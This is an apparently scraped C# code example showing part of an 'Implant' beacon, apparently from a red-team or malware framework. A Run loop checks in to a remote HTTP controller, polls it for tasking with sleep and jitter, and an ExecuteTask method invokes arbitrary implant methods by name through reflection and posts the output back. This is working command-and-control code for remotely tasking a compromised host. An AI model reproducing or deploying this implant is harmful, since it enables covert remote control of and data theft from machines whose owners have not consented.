示例#1
0
        ////////////////////////////////////////////////////////////////////////////////
        // This is a static method to be executed as a thread
        ////////////////////////////////////////////////////////////////////////////////
        internal static void ExecuteTask(Object parameters)
        {
            Array  array  = (Array)parameters;
            String output = "";

            String[] taskingReturn = new String[0];
            try
            {
                String   method    = "";
                String[] arguments = new String[0];
                ParseCommand((String)array.GetValue(0), ref method, ref arguments);
                MethodInfo methodInfo = typeof(Implant).GetMethod(method);
                output += (String)methodInfo.Invoke(null, arguments);
                Console.WriteLine(output);
                taskingReturn = new String[] { (String)array.GetValue(1), output };
            }
            catch (Exception error)
            {
                Console.WriteLine(error);
                output += error.ToString();
            }
            finally
            {
                WebServiceBeaconComs.Response((String)array.GetValue(2), (String)array.GetValue(1), taskingReturn);
            }

            return;
        }
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal void Run()
        {
            String url = String.Format("http://{0}/{1}", socket, provider);

            GenerateUuid(8);
            if (!WebServiceBeaconComs.Checkin(url, uuid))
            {
                return;
            }

            Double incrementer = 0;

            while (retriesIncrementerLimit > incrementer)
            {
                try
                {
                    String output = "";
                    if (!WebServiceBeaconComs.InvokeRequest(url, "TaskingRequest", new String[] { uuid }, ref output))
                    {
                        Console.WriteLine("{0}/{1}", incrementer, retriesIncrementerLimit);
                        incrementer += retriesIncrementer;
                    }
                    if ("" != output)
                    {
                        BeaconTask task = new BeaconTask(output, uuid, url);
                    }
                }
                catch (Exception error)
                {
                    Console.WriteLine(error);
                }
                finally
                {
                    Thread.Sleep((sleep * 1000) + (new Random().Next(0, jitter) * 1000));
                }
            }
        }